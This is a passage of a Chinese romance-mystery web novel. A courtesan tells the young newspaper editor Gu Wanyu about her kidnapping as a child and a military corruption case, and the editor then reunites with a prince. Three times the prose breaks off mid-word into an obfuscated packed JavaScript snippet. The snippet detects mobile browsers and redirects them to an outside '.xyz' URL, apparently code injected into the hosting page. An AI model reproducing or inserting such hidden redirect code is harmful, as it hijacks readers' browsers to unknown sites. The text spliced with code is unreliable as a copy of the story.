“这个,我们大概也没有办法寻到吧……”顾婉妤捏着信纸头疼道,“那就登一篇寻人启事试试看,若是不行可别怨我们。” 这些来信的内容五花八门,什么都有,并且来自五湖四海,经由驿站,通过多日的颠簸,最终被装进口袋,送到顾氏小报的地盘。 几个月前,顾婉妤还为了攒出小报每一期的内容而头疼。现在,投稿纷至沓来,小报都刊登不过来了。 这还得归功于“双生子贩卖案”的影响力。 由于巴休蒙等人的驯兽师身份本就神秘且引人注意,外加牵扯到宛邦的血腥祭祀风俗,又关联了多年前尘封许久未破的其他双生子失踪案,总之,这个案子现在闹得人尽皆知。 或许是因为猎奇,或许是因为好奇,总之,人人都想得知其中内幕,更是唾弃将罪恶之爪伸向大景的巴休蒙等人及宛邦人。 而实际上,这个案子并非官府侦破,因此一干具体细节,除了巴休蒙等人本身供述的,其余皆只有顾婉妤等人才知晓。 顾婉妤以“殷小英”的口吻作第一人称撰写揭秘文章,从遇见小蝶,到花朝节之夜追踪神秘疯子,再到一观异域驯兽表演,最终见证鲁莽的探子误打误撞揭开巴休蒙等人的阴谋。 这一系列的故事均连载登上顾氏小报,吸引了民间百姓们的眼球,仔细读来,更是引得许多人大为震惊,一时之间顾氏小报销量上涨惊人,上京以外发行量少的地区,甚至出现了争抢购买的现象。 故事中出现的“玉、竹、火”三君,以及鱼姑娘和海少爷等重要人物,还有殷小英其人,在民间也有了大批拥趸。甚至还有说书人把这些故事编成评书,日日在茶馆等地表演,广受好评。 明眼人都看得出来,顾氏小报之所以能把此案刊载得如此详尽,归根到底是因为这些真正着手探案的角色们与顾氏小报本身有着千丝万缕的关系。因此一时间,顾氏小报成为了民间百姓们异常信赖的对象。他们遇到不好报官的问题,就写信寄来,请顾婉妤等人帮忙。 而嗅觉敏锐的文人墨客们,发现顾氏小报引领起了民间文学流行的风潮,便也争相来稿,希望能在小报上刊登出自己的作品。 总之,顾氏小报成为了大景人们茶余饭后的新宠,颇有名气,简直是火爆,顾婉妤等人近来便是这样忙得要命。 忙忙碌碌,这是一种多么幸福的烦恼。 而官府那头,巴休蒙等人的案子经过几轮会审,基本也确定下来惩罚的结果,几个从犯都被赐予从服劳役到流五千里等程度不等的刑罚,首犯巴休蒙更是逃不掉大景的制裁了。皇帝亲自阅核过他的案子,同意会审意见,秋后问斩。 狱诏一出,尘埃落定,大快人心。 当然,此事还引发了一些后续的连锁反应。其中格外有意思的,当属宫中的御兽坊所发生的那些事。 世人皆知,当朝皇帝虽然年轻,但对于御兽玩宠之事是不太热衷的。他刚刚即位时,更有一则美谈,是外国使者进献了一只稀奇的白虎,他命御兽坊养了几天,就借口每日以肉饲虎,开支过大,给外国使者退回去了。 事实上,泱泱大景,哪里缺这一口肉呢?只是皇帝的这一举动,显示出他是个关心江山社稷之大事,不耽于享乐的人,因此得了许多的称赞。 既如此,掌管兽宠的御兽坊也没什么特别的用武之地了。 但现在,巴休蒙等人入狱后,他们留下的那些珍稀动物,却就只能由这个在宫中很没存在,只懂得养鸟喂鱼的御兽坊来关照,真是一个不小的挑战。 御兽坊名字听着好听大气,实际上并不能说是一个正经的管理机构,而只能称得上是后宫生活中专门负责养宠的一个小小部门,里面的人员也大多是太监和宫女。 面对着上京府拉来的猛兽,以及见都没见过的异兽,他们真是要束手无措了。 听说,那鸵鸟进了御兽坊之后,成天在花园和草丛里乱跑,见什么吃什么,还因为长相怪异吓翻过好多宫人,已经恶名昭著,被起了“秃毛鹅”这样的名字。 而狮子更是令宫中人闻风丧胆,那狮吼一响,当真吓人,尤其是它还特别爱盯人,浅金色的瞳眸给人无限的压迫感。导致御兽坊负责喂食的小太监们每次一到饭点就如丧考妣,哭丧着脸生怕哪一天狮子一个不高兴把他们当饭后点心吃了。 这些还不算什么,最令人头疼的,就是那头聪明的大象。 这大象,你拦也拦不住它,不给它饭吃,它都能自己去找着吃,还特别有眼色,懂得讨好妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840148|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫔、公主,以至于它比人还有能耐有面子,能在后宫的森林、草地里自由行走,踩得花朵林叶全变泥。 这下,头疼的不仅仅是御兽坊了,那专给皇家园林做工的老师傅们,也一个个急得摸秃了脑袋,跟鸵鸟一个模样了。 真是热闹啊,顾婉妤每次听闻这些后宫传来的逸事,都津津有味,这是她不曾接触的世界,也会引起她的遐想——崔煜川小时候在宫里是怎么玩耍的呢?先帝那会的后宫是不是比现在更有意思呢? 提起崔煜川,想着想着,顾婉妤就要一声叹气了。唉,他已经好久不曾出现过了。 当时,巴休蒙等人的案子结束之后,他们一行人各自挥手告别,气氛尚好,崔煜川也没有显露出任何一丝要与他们分道扬镳的意思。 然而,事实就是,从那以后崔煜川再也没有来找过他们了。 这似乎意味着,他们重新回到了自己应有的身份与地位上去。崔煜川仍是代表皇权高高在上,荣华富贵享受不尽的王爷,而顾婉妤等人,仍然是上不得台面,常写些与官方作对的文章的民间小报组织。 云泥之别。 如果这是崔煜川的本意的话,顾婉妤也只能欣然接受了。 她放下纸笔,站起身,到窗边赏景。 不论如何,曾有一段难忘的回忆,已经实属难得,人生不该强求太多。 与其想些无能为力之事,不如看看眼前夏日绿意正浓,何不泡杯香茶,读本闲书悠闲一下呢。 顾婉妤在书房的宝物阁上翻啊翻,翻出她爹当宝贝一样藏起来的一砖官窑绿茶。 掰一点拿来泡,想必爹也不会发现吧。 顾婉妤顽皮一笑,正拿起手边刻木的小铲子打算动手时,就听见自己家院门外传来了“咚咚”的叩门声。 是谁呢,正好在她将要做点坏事的时候来访。 顾婉妤吐吐舌头,把茶砖收回盒子里,跑去开门。 “是谁?”她一打开门,就惊讶地愣住了。 朴素的院门外,站着一位容姿华美,肤如凝脂的明艳大美人。 “我呀。”大美人盈盈一笑,对她说道。 “你……你是……”顾婉妤被这一笑迷得有点晕乎了,她迷迷糊糊地把人请进院子里,又殷勤地拿来垫子生怕对方坐的不舒服,还专门跑回屋子铲了一块茶叶下来泡水招待客人。 茶叶在壶中舒展绽开,清茶的香气扑鼻,顾婉妤这才清醒过来,发现大美人饶有兴趣地看着她。 “原来你不认得我的脸。”大美人微微一凝眉,故作委屈。 见到一副如此美丽的脸庞露出这样的情态,顾婉妤又迷糊起来,简直要腿软了:“不认得……是我不好……” 美人扑哧一声乐了,她把呆呆站着瞅她的顾婉妤拉到座位上坐下:“小可怜,怎么傻傻的呢?我还以为你是那种很精明的女孩子。” 顾婉妤睁着圆溜溜的杏眼,还在盯着她的脸看。 大美人莞尔一笑,突然栖身上前,在顾婉妤软软的脸颊上“啾”地亲了一口。 “我是云锦姐姐,可不许你忘了。” 15. 雨打芭蕉(2) 顾婉妤吓了一跳,无意识地往后面撤了一下身子,又难以置信地重复道:“云锦姐姐?” “哎。”云锦笑着答应。 云锦正是揽月楼几大行首之一,上京城中赫赫有名的清倌。才貌双全,据说有着令人过目不忘的仙女之姿,巧笑倩兮之间尽是怡情可人。 今日一见,的确名副其实。 但顾婉妤不懂,云锦怎么会突然来找她呢,还是专门到她家里来。 她便乖乖问道:“云锦姐姐,有什么事吗?” 云锦作为揽月楼头牌,从小见多了三教九流之人,人情练达游刃有余。她若是想玩弄一个人,或是诓骗一个人,自然有的是她自己的方法和手段。 但面对顾婉妤,云锦难得露出了几分真情。 “我是来感谢你的。”云锦正了神色,认真说道。 “感谢?”顾婉妤摸不着头脑,“因为何事呢?我怎么没有印象。” 云锦神秘一笑,没有正面回答,而是用她清丽悦耳的声音,讲起了一段旧日的故事。 大景乾明年间,上京城西鱼雁街的药铺里,降生了一对可爱的双生女孩。 药铺主人楚药师医术高明,又乐善好施,救助困苦患者时从不推脱计较钱财,在街坊邻里间名声很高。 容绣娘早年在绣坊做女红,手艺高超。嫁与药师之后,便常常在药柜子前坐着,给病人抓抓药,闲时做一些刺绣手工活。 这一对小夫妻生活富足、恩恩爱爱,颇得旁人艳羡称赞。待到一双水灵灵的女儿出生后,生活更是锦上添花,过得有滋有味。 只是,双生子孕育不易,对于产妇身体的消耗是很大的,容绣娘自从生育之后身子便落下了病根,还好楚药师照顾妥当,并未有什么大的影响。 女儿们一天天长大,长成两个粉雕玉琢的漂亮小团子,成日在药铺里玩耍,叫过路人看了,都十分喜欢亲近。 却,难免遭了贼人惦记。 那是一个天空中布满了火烧云的傍晚,容绣娘在铺子里坐着,安安静静地缝衣服,女儿们躺在一旁的小床上睡得正熟。 两个说着方言土话的生面孔进了铺子,说他们初来此地水土不服,想抓一副药来吃。 容绣娘应了一声,就根据楚药师教她的药方在药斗里抓药。 身后静悄悄的,一点动静也没有,容绣娘觉得奇怪,怎么这两个人如此安静?她一回头,便大惊失色,那两人竟偷偷摸摸抱了她的孩子,正要跑出去。 “你们干什么!”她急切地出来追,脚下一个不留神,就磕倒在地,头上撞出了一个大口子,鲜血一下流了满脸。 她爬着去够自己的孩子,大声求救,但此时正巧四下无人,贼人把门紧紧合上,声音挡在了门里。 等容绣娘勉力支撑起来,追到街上,两个贼人早就架着马跑走了,再也追不上了。 自此,身体本就虚弱,又亲眼见着孩子被抢走的容绣娘,被无尽的悔恨、痛苦击碎了心智。 她疯了。 当人遭遇了远超于自身承受能力的痛苦,就是会疯掉,会失去理智的。容绣娘疯了,疯得明明白白,显而易见。她疯疯癫癫地游荡在大街上,见人就冲上去问,我的孩子被你弄去哪里了?、 人人都说她可怜,是啊,真可怜。 楚药师也疯了,但他疯得非常隐蔽,疯得谁都没能察觉。 大景乾明年间,发生了一桩骇人听闻的连环杀人案。作案凶手是一个街坊邻里口中十分善良的老好人。 但这个所谓的老好人,下手极其残忍,几乎灭绝人性。 他先是用一剂狠药毒杀了自己疯掉的妻子。 其后逃离上京,在各地四处逃窜,以各种方法杀害了所有他觉得是可能绑走自己女儿的人。 其中大部分是原本就造下孽的坏人,死有余辜。 但也存在着被误杀的无辜的人。 楚药师会毒术药理,心狠手辣,脑子又聪明。纵然朝廷不停地发出通缉令,他依然整整在外逃窜了一年,才被官府逮住。 入狱的当晚,他便在冰冷的牢房里,咬舌自尽,了却了疯狂而孤苦的余生。 那么那两个被抢走的小女孩呢? 讲到这里,云锦已然哽咽到说不出话,大颗大颗的泪珠从她姣好的面容上滑落,沾湿了衣襟。 顾婉妤连忙用袖子为她拭泪,只是倾听故事,她的心脏都被震撼得怦怦直跳,难以想象故事中的人,要遭受多么大的悲痛欲绝,才能最终迎来自己的结局。 顾婉妤哑声问:“两个小女孩,她们之后又遭遇了什么呢。” 云锦抬手抹掉眼泪,虽哭得嫣红,却更加楚楚动人。这样的美貌,不知过去要遭受多少觊觎。 “我很幸运。”她说出的话,却出乎顾婉妤的意料,“因为我有姐姐保护,我真的……很幸运。” 年幼时人生便遭遇如此翻天覆地的变故,缘何能说出幸运二字呢? 云锦目光深沉。 原来,在被贼人抢走之后,她和姐姐马上就被卖给了外国人的商队。 在云锦的记忆里,那是一支庞大的队伍,来自异域的人们说着奇怪的话语,背着大大的行囊,而商队运送的货物中还有许多珍贵的货品,每到一处,他们就用箱子、包裹里的东西,交换来大笔大笔的金银、玉饰、瓷器。 商队里,还有一些特殊的存在,就是动物。 云锦小时候,是与动物们挤在一处长大的。她和姐姐都清楚地知道,她们的身份地位与商队里的其他动物一样,是被观赏,被销售置换的货品,可以由商队里的大人们出手,换来那些金银财宝。 身边的动物们被一批批地卖掉,留下来的母兽生了崽,小崽不等长大又被卖掉。商队首领的大胡子长了一茬又割掉一茬,有的年轻人结婚娶亲,留在了沿途经过的地方,有的老年人生病受伤,葬在了车辙轧过的土地里。 她和姐姐留在越来越空旷的笼子里,不知道自己将去往何方。大景的土地如此广博,商队像永远不知疲倦一般,不停地走着、走着。 就算是天真无邪的小孩子,身处这样的环境里,也自然而然地就懂得了许多的事情。 云锦和姐姐发现,沿途的景色愈来愈发生变化,城镇逐渐远去,他们从山清水秀的地方,走到了草原,又走到了草木稀疏荒凉的大平原。 姐姐对云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840149|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锦说,她们可能要被带到别的国家去了。 云锦一直觉得,姐姐比她聪明得多。即使两人几乎是同时降临在这世间的,但姐姐永远更加敏锐,更加聪慧。两人之间,姐姐担任的一直是那个保护者的角色。 云锦很听姐姐的话,她发觉姐姐好像在密谋着什么,她不懂,她只能依偎在姐姐身边取得安慰,就像无助的幼鸟。 直到那个夜晚。 云锦说,她的人生关键节点总与“火”密切相关,被人贩子抢走的那一天,她在颠簸的马背上醒来,透过惺忪的睡眼望见的是燃火一般的天空。而那个她被姐姐推了一把,独自出逃的夜晚,她看见的是近处燃起的熊熊烈火。 姐姐说,快跑,于是她就跑了。 她跑着跑着,跑得气喘吁吁,跑得五脏六腑都像要炸开一般,她知道要从小路走,姐姐在白天就给她指过庄稼地的位置,那里种了高高的红高粱。 她从黑夜跑到白天,在跑到村庄之前,就被人捡了去。 那个人她认得,她跟着一起,回到了大景,发现自己的家已经没了。 从此云锦就成了揽月楼里的小小侍女,捡回她的人告诉她,这天下没有白来的午饭。揽月楼愿意养着她,是要等她拥有回报的能力。 云锦就这样在揽月楼长大,不负揽月楼里其他大人的期望,她成长得很好,是最出色的艺伎之一。 “那……那你的姐姐呢?”顾婉妤小心翼翼地问道。 “她在宛邦。”云锦的情绪已经平复下来,但说起“宛邦”二字,她的瞳孔中仍然燃起了深沉的恨意与怒火。 “我们前些年联系上了。姐姐很有本事,作为外乡人在那个野蛮的地方,也拥有了安身立命之本。”云锦深吸一口气,“之前,你不是总在顾氏报纸上写煜王常来揽月楼与我私会吗?” 怎么话锋一转,突然说起这个?顾婉妤连忙摆摆手,又羞愧地低下头:“……对不起!” 云锦的身世如此悲惨,难得能遇良人,千万别因为她把这上好的姻缘搅黄了! “笨丫头。”云锦气笑了,“他没跟你讲过?他是来见姐姐安排的传信密探。” 顾婉妤惊讶地抬起头。 “我们姐妹二人此生没有其他所求,惟愿报仇雪恨。”云锦握住顾婉妤的手,“这些年,姐姐在宛邦不容易,她一定恨透了宛邦,就算冒险,也要把机密情报传递回大景,借大景之手灭掉宛邦。” “只有灭国,才能一雪我们心头之恨。” 顾婉妤的嗓子不由得吞咽一下,她恍然明白了这是何等的大事,何等的血海深仇,令她一个旁观者的灵魂都为之颤栗。 “而其他人,比如抢走我们的人贩子,比如拿我们当货物的商队,也都要一一清算。”云锦咬牙切齿,又忽然激动地摇了摇顾婉妤的手,“你知道吗?在报纸上看到巴休蒙他们的事情,我有多么高兴,多么激动!” “巴休蒙?他们与绑走你们的人有关?” “何止是有关!”云锦大骂,“这些人渣都是一脉相传的!巴休蒙正是当年那个商队首领的儿子!” “什么!”顾婉妤惊得一下子站起来,“还有这层关系!” 16. 雨打芭蕉(3) “对,所以他秋后问斩的消息一出,我高兴地给佛祖多烧了三炷香!”云锦擦掉眼泪,大笑道,“当年那个商队首领半途弄丢了我,凑不齐一对双生子,惹得宛邦王大怒,进了宛邦国境没多久便掉了脑袋,真是恶有恶报。” 笑得够了,云锦又冷下脸来:“巴休蒙明知他老子有此下场,还执迷不悟继续这种缺德买卖,活该他遭报应。” “嗯。”顾婉妤点点头,“的确如此。” “说吧,小姑娘,想让我怎么感谢你。”云锦托腮望着顾婉妤,“别客气,姐姐出手还是很大方的。” 顾婉妤对她露出感激的笑容:“不,我不能收,本来就是为了帮刘家找失踪的女儿,也没想到背后牵扯甚广。你来告诉我这些事情,让我觉得自己的努力更加有意义了。你的好意我已经心领。” “当真不要?”云锦挑眉,像是意外。 顾婉妤坚定地点了点头,她在此案中尽心尽力,又不是为了收好处的。 “好吧,那我再给你透露一个消息,权当谢礼。”云锦压低声音,神秘兮兮地说道,“这个消息,比金银珠宝更有价值。” 顾婉妤以为云锦又在逗她,她笑着故作惊讶地顺势问道:“是什么消息?” “你知道蒙塘败役吗?”云锦问,“去年秋季,宛邦大将綦鹿率军南下,连破阆、邬、蒙三座边城,斩断我大景北方蒙塘边廊交通要道。” 顾婉妤皱眉:“自然是知道的。” “大军入关,兵马无情,城破之后,遍地狼烟。”云锦的目光望向北方,“现在若是去看那旧城,仍然是布满战争的痕迹,断剑残垣,还有烧完的骨灰。” “綦鹿说若见大景士兵,格杀勿论,不留活口,便率兵搜城,却在搜城的过程中,发现了奇怪的事情。” “是什么?” “残破的兵器,数量有些太多了。”云锦望向顾婉妤,神色严肃,“我等平民百姓不清楚,他们打仗的却十分了解,大景兵器锻造技艺十分高超,且品控管理严格,一场战斗下来,怎么会有如此多报废的兵器?” “那刀剑上有大大小小的纵裂,或直接卷刃报废。士兵尸体上的铠甲从中间断开,长矛弯折,弓弦崩断。” “綦鹿便笑,蛀虫贪之,自取灭亡。” 云锦的神情和缓下来,她带着几分温柔,几分期许,对顾婉妤说:“这个消息,我就告诉你了,你可以记在心里,也可以置之不理。毕竟,这其中的门道恐怕不是我们这个阶层的人能接触到的,强求无益。” 顾婉妤看着她,露出个无奈的笑。 云锦此番前来,讲了这么多话,恐怕真正的目的就是把这个情报告诉她,借她的手去查,和那些给顾氏小报来信求助的百姓们也似乎没什么本质上的不同了。如今说都说了,又让她当做没听到吗? 只是……“为什么是我?直接告诉崔煜川不是更好吗?”顾婉妤问。 “我倒是想,问题这不是好几个月不见他人影了吗。”云锦烦躁地摆摆手,“平生最烦等人了,我看小煜王还没有你靠谱。” “原来你也同样好久没见他,”顾婉妤奇怪道,“他在做什么?” “谁知道,说不准被武娴关起来了呢。”云锦眼睛一转,突然提议,“你要是想他了,为何不直接去找他?” “啊?不太合适吧。”顾婉妤有点脸红了,“也没有怎么想……” “那还是想了,”云锦拍拍顾婉妤的手,体贴说道,“既然如此,还是主动一点。” “没有高贵的出身,就得靠自己的本事去争取了,”云锦狡黠地冲她眨眨眼,“你懂我的意思。” 这话倒是正确,顾婉妤若有所思,等她反应过来,就见云锦饶有兴致地看着她,顾婉妤的脸颊耳朵一下子变得滚烫。 “不想这些了,我还想不明白。”顾婉妤站起来借去给茶壶添水的名义落荒而逃。 云锦在她背后露出喜爱和温柔的眼神。 还是个没开窍的小孩子呢。 这倒和煜王挺般配的,依她的阅历看来,煜王和顾婉妤都是差不多这般的赤子之心,虽天真烂漫,但有成大事的潜力。 两人聊完正事,便有一搭无一搭地闲聊了些其他的。她们还挺合得来,即便成长环境截然不同,性格与处事观点上却均有许多相似之处。胡天海地聊了一通下来,两人都感觉对对方十分亲切。 时间稍晚些后,云锦便告辞离开了。 她临走时,还依依不舍:“有空来揽月楼找我玩啊,你不好意思去见崔煜川就罢了,来见我总可以吧。” 顾婉妤笑着答应:“一定。” 送走云锦之后,顾婉妤又开始思索起来云锦今日交代给她的情报。这情报所言明确,就是大景内部有人贪了造兵器制甲胄的钱款,导致士兵拿着品质差的装备上战场,更进一步对战争造成了不利的影响。 此事若属实,必然牵涉甚广,真不是件好办的差事。 顾婉妤叹了口气,这惩治贪官污吏的事情,就连皇帝也不好解决,她们小小平民有什么能耐去做呢?若不得不办,还得联系崔煜川,通过他取得朝廷中有权势之人的帮助…… 这……越想越难啊! 但要是就当没听过,把此事置之不理呢,又实在违背顾婉妤的本心,也与她曾立过的誓言不符。 真是进退两难。 遇到自己想不明白的事情,顾婉妤就想去请教同伴。她无法跟可能极度担忧自己安危的父母诉说,于是还是把问题抛给了哥哥姐姐们。 具体来说,是瑜瑾大哥和阮竹姐姐,流火君不算。 另一边,云锦告别顾婉妤后,心情舒畅地回了揽月楼。 她平素就多情爱笑,今天高兴,笑容就更加灿烂,比起以往的妩媚妖娆更多几分引人垂涎的干净气息来。 在大堂坐着的客人们见到美人惊鸿一瞥,都有些蠢蠢欲动了。 可惜揽月楼头牌何许人也,哪是谁都能随便见到的。于是召来小厮试探的男子全都铩羽而归。 云锦美人说了,今日不待客。 就算见客,也并非你能负担得起的。 云锦在房中坐着自斟自饮,她今日说了好多许久未提的事情,现在回忆起来依然心思振荡,心潮澎湃。 想她如此不易,孤苦一人,如今身边也有了越来越多值得信赖和依靠的对象。 父母在天之灵,想必也会为她骄傲。 只是如今姐姐还身在宛邦无法归来,她思念成疾,只盼姐妹二人何时才能相见。 饮着饮着,云锦便又落下泪来了,实在是百感交集。 这世间不公平,有些人连存活于世,都得拼尽全力。 房门吱呀一声响了,有人走了进来。云锦毫不在意,继续倒酒。却有一只棱骨分明、白皙到仿佛没有血色的手伸出来,止住了她的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840150|159140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作。 “你又来管我。”云锦口齿不清,“多管闲事。” “喝多了,明天又要遭罪。” “不会!”云锦任性地喊到,去拨开来人的手,却无法撼动。 “你!”她睁大眼睛抬头瞪着他,见来人一脸无奈,又拿她没办法的样子,突然由衷高兴起来。 “嘿嘿,柳舜,你,”云锦挑着唇笑,骄矜地抬着她纤细的脖子,“你不懂吧?你不懂。” 柳舜,即大名鼎鼎的揽月楼主人,此时看着云锦,的确无法可施。 她是他亲手培育浇灌长大的鲜花,养成了如今这任性娇蛮的性子,也是他作为花匠的一点纵容,一点刻意。 仰着头看人,视线便有些摇晃,云锦晕乎乎地低下头,嘴里还喃喃道:“我还要喝,我高兴啊。” “你去见顾婉妤了吗?”柳舜问,“你念叨好久的小姑娘。” “对啊。”云锦把头抵在桌子上,“她,她很好,很好的。” 柳舜无奈地给云锦揉揉后颈:“酒量差,还偏要喝这么多。” “我觉得,能成……”云锦还在喋喋不休,“嘿嘿,能成。” “希望吧,”柳舜默默询问,“需要我帮忙吗?” 云锦没有回答,她趴在桌子上,就这么睡着了。 柳舜等不到回应,俯身低头确认,又无奈地直起身子,把云锦抱回床上,给她掖了被子,掩了窗户。 从窗外看去,是揽月楼一角的碧瓦飞甍,原本还阳光灿烂的天空出现了积云,大抵今晚又要下雨了。 柳舜嘱咐侍女,明天早上给云锦熬一碗甜汤,省得她宿醉醒来,又喊头疼,又喊口干地撒娇耍横。 上京夏季多雨,果然,又是一夜雨声。 顾婉妤心里装着事,掐算又是印刷小报的日子,她便抱着自己看不完的书信,一早就跑去了印坊。 到了印坊,在那里组织工人印刷的,居然不是瑜瑾君或阮竹君中的一人,而是少有在印坊干活的流火君。 “怎么是你?”顾婉妤失望,她此行的主要目的是为了请教如何着手探查云锦交代她的事情呢,流火君可拿不了主意。 流火君一脸无辜又愤怒:“什么话!我怎么了!” 好好干着活呢,突然这么嫌弃他,干嘛! “不是啦,因为平时在印坊的都是瑜瑾大哥或者阮竹姐姐嘛,没想到今天是你。”顾婉妤抱拳告饶。 “他们有事,现在估计各自都离开上京了。” “嗯?!”顾婉妤一惊,“怎么没和我讲,他们去干什么了?” 流火君得意:“怎么样,还是得问我吧。瑜瑾兄回老家探病,听说他家老太太今日身子不爽利,不过要我说呢,估计又是逼瑜瑾兄回家的借口。” “这倒不是新鲜事了。”顾婉妤无声叹息,瑜瑾大哥那难搞的一大家子人啊……自求多福吧…… “阮竹她则是被庄主派去送请柬了,真是看阮竹好欺负啊,让她千里迢迢干这种跑腿的杂活。”流火君咬牙切齿道,“她还不让我陪她!” “阮竹姐交际甚广,对各大山庄家族、武林门派的习惯秉性都门儿清,所以闫庄主才总是派她做这种活的。”顾婉妤倒是理解,“她一个人去反而办的干脆利落,带上你,事情就麻烦起来了。” 唉,只是,瑜瑾哥和阮竹姐这一去说不定都要等几余月才能回来,自己该找谁拿主意啊…… 17. 雨打芭蕉(4) “顾婉妤,你今天讲话真的很难听啊!”流火君又开始他招牌式的嘤嘤假哭,“你看我不顺眼是不是,什么叫我是个大麻烦。” 顾婉妤吐吐舌头,我可没有这么说啊,但流火君对自己的定位还蛮准确的。 谁让他这个江洋大盗贱兮兮地四处树敌,招得其他门派都不待见! 带着他送请柬,那得给阮竹姐添多少不方便,可不是个大麻烦吗。 “算了,我先走了。”她无意和流火君斗嘴,便干脆利落地道别。 流火君却不依不饶,估计是印刷的活计太无聊了,他偏要顾婉妤坐下陪他说话。 “你别走嘛,他两一离开,我每天都好无聊。”流火君像块狗皮膏药似的粘人,“都没人陪我玩了。” “流火君,你多大了。”顾婉妤匪夷所思地问,“再说,平时他们那也不算陪你玩吧!” “唉。”流火君耍赖地往桌子上一趴,“好生无趣啊。” “那就出去做善事吧,只要别重操旧业,其余都随你。”顾婉妤小声吐槽,把书信往桌子前一撂,便坚定且头也不回地走了。 "什么重操旧业?"流火君呆呆地重复道,半晌才反应过来顾婉妤是要他别出去偷东西。 “哼。”他撅起嘴,“我那是劫富济贫好吧,谁敢说我不是在做善事积德。” 可惜顾婉妤已经走远,是听不见他的控诉了。 虽然因为怕被流火君的慵懒和散漫传染到而步履匆匆地离开了印坊,但顾婉妤此时还真是不知道自己该去往何处。 难得有如此空闲的时间,细细想来,此时哪里都不需要她。母亲的摊子上有父亲陪着,下期小报的内容编排也早已完成,还能做点什么呢? 顾婉妤漫无目的地走着,一不小心又走向了骊街的方向。对了,顾婉妤想起来,她可以去看看殷小英啊。 果然,小英还在老位置卖花,不过与以往不同的是现在她的生意可太好了,根本不愁每天带来的新鲜花朵卖不出去。有许多人慕名而来,只为了一睹巴休蒙案亲历者的样貌,也有人是专门冲着小蝶来的。 小蝶已经被小英收养,成为了一只幸福的小狗,每天被带着出来卖花,小蝶也能在街边自由地撒欢了。不少街坊邻居、摊主店铺夸奖说这狗狗有灵性,因此对小蝶格外友好,小蝶俨然要成为此街市的吉祥物了。 “小英,”顾婉妤好不容易挤进了买花的队伍,走到了殷小英面前,“我来看你啦。” “婉妤姐,”殷小英惊喜道,“你来了。” “嘘!”顾婉妤连忙让小英压低声音,她可不想被别人听到自己的名字,然后也围上来问东问西的! 算了,此处也不宜久留,她没想到小英这里的人会这么多…… 顾婉妤向小英挥挥手,用口型无声地说了句“再见”,便退出了人群。 这下可真是无处可去了。顾婉妤站在大街上,十分茫然。 在她接手小报,过上每天东跑西跑收集素材的忙碌日子之前,她都在做什么来着? ……已经彻底忘记了!顾婉妤抱住脑袋,崩溃地摇了摇头,最终还是决定打道回府,老老实实回家看书。 她沿着这条十分熟悉的热闹的街往家走,走着走着,来到了沿河的段落。 夏季的河边是枝繁叶茂,绿意荫蔽着投下细碎的光影。从河面卷来的轻风拂面,在暑气之中带来清凉的感觉,十分舒爽。 这河令顾婉妤最印象深刻的,还是春季花朝节那夜,她和崔煜川在河边放灯。那原本该是一个忙忙碌碌又疲惫的查案的夜晚,却因为放河灯的小小片段而变得分外温馨。 顾婉妤停下脚步,站在河边眺望平静的水面。 当时在灯笼上许下的愿望是——归兮来兮,寄托着两人期待找寻回刘家女儿们的美好祝愿。如今看来,这个愿望可真灵验啊。 现在她没有什么强烈的心愿,只是隐隐有一些情绪悬于空中、悠悠地找不到着陆点的感觉。 可以说是无人陪伴的孤独,也可以说是失去主见的茫然。 顾婉妤自嘲地笑笑,果然,她还是有许多需要成长的地方。自从听了云锦给她讲的那些话,她就有一种徒然使不上力的感觉,再加上作为主心骨的哥哥姐姐暂时离开,她愈发感到无所适从。 光顾着笑话流火君去了,自己又何尝不是在偷偷地感到寂寞呢? 她拍拍脸颊,努力打起精神,为自己鼓劲:继续去做有意义的事情吧。 顾婉妤在河边又站了一会,吹吹风,看看水,还有喧嚣热闹的人世间,感觉心情有所好转,便转身欲走。 只是,世上怎会有这么巧的事情?刚刚转过身,顾婉妤愣住了。 河岸边、绿荫下,距她不远处的地方,居然站着她想念的人。 时隔许久不见,顾婉妤看着崔煜川,都感觉有点陌生了。 崔煜川也定定地看着她,见顾婉妤终于转过身来发现了自己,他含笑挥挥手,大步走来。 “好久不见,你……”崔煜川刚开口,少女的拳头就来到了他的肩膀,倒是一点儿不痛,她压根没用上半分力气。 崔煜川笑了:“抱歉,我是消失了太久对吗。” 顾婉妤舒了一口气,收回手,坦率回答:“是啊,搞得我以为你再也不会出现了。” “最近我在朝中谋了份闲职,其实还是像老样子,没什么事做。”崔煜川看着她,眼睛里有着不自知的温柔和喜悦,“只是又失去自由行动的机会而已。” “那今天呢?” “今天忍不住了,偷偷跑出来放风。” 顾婉妤看着他,表情中并无半丝搪塞或作假的态度,于是她欣然一笑,接受了他的话语:“喂,你可是王爷啊,怎么听起来过得这么惨淡。” 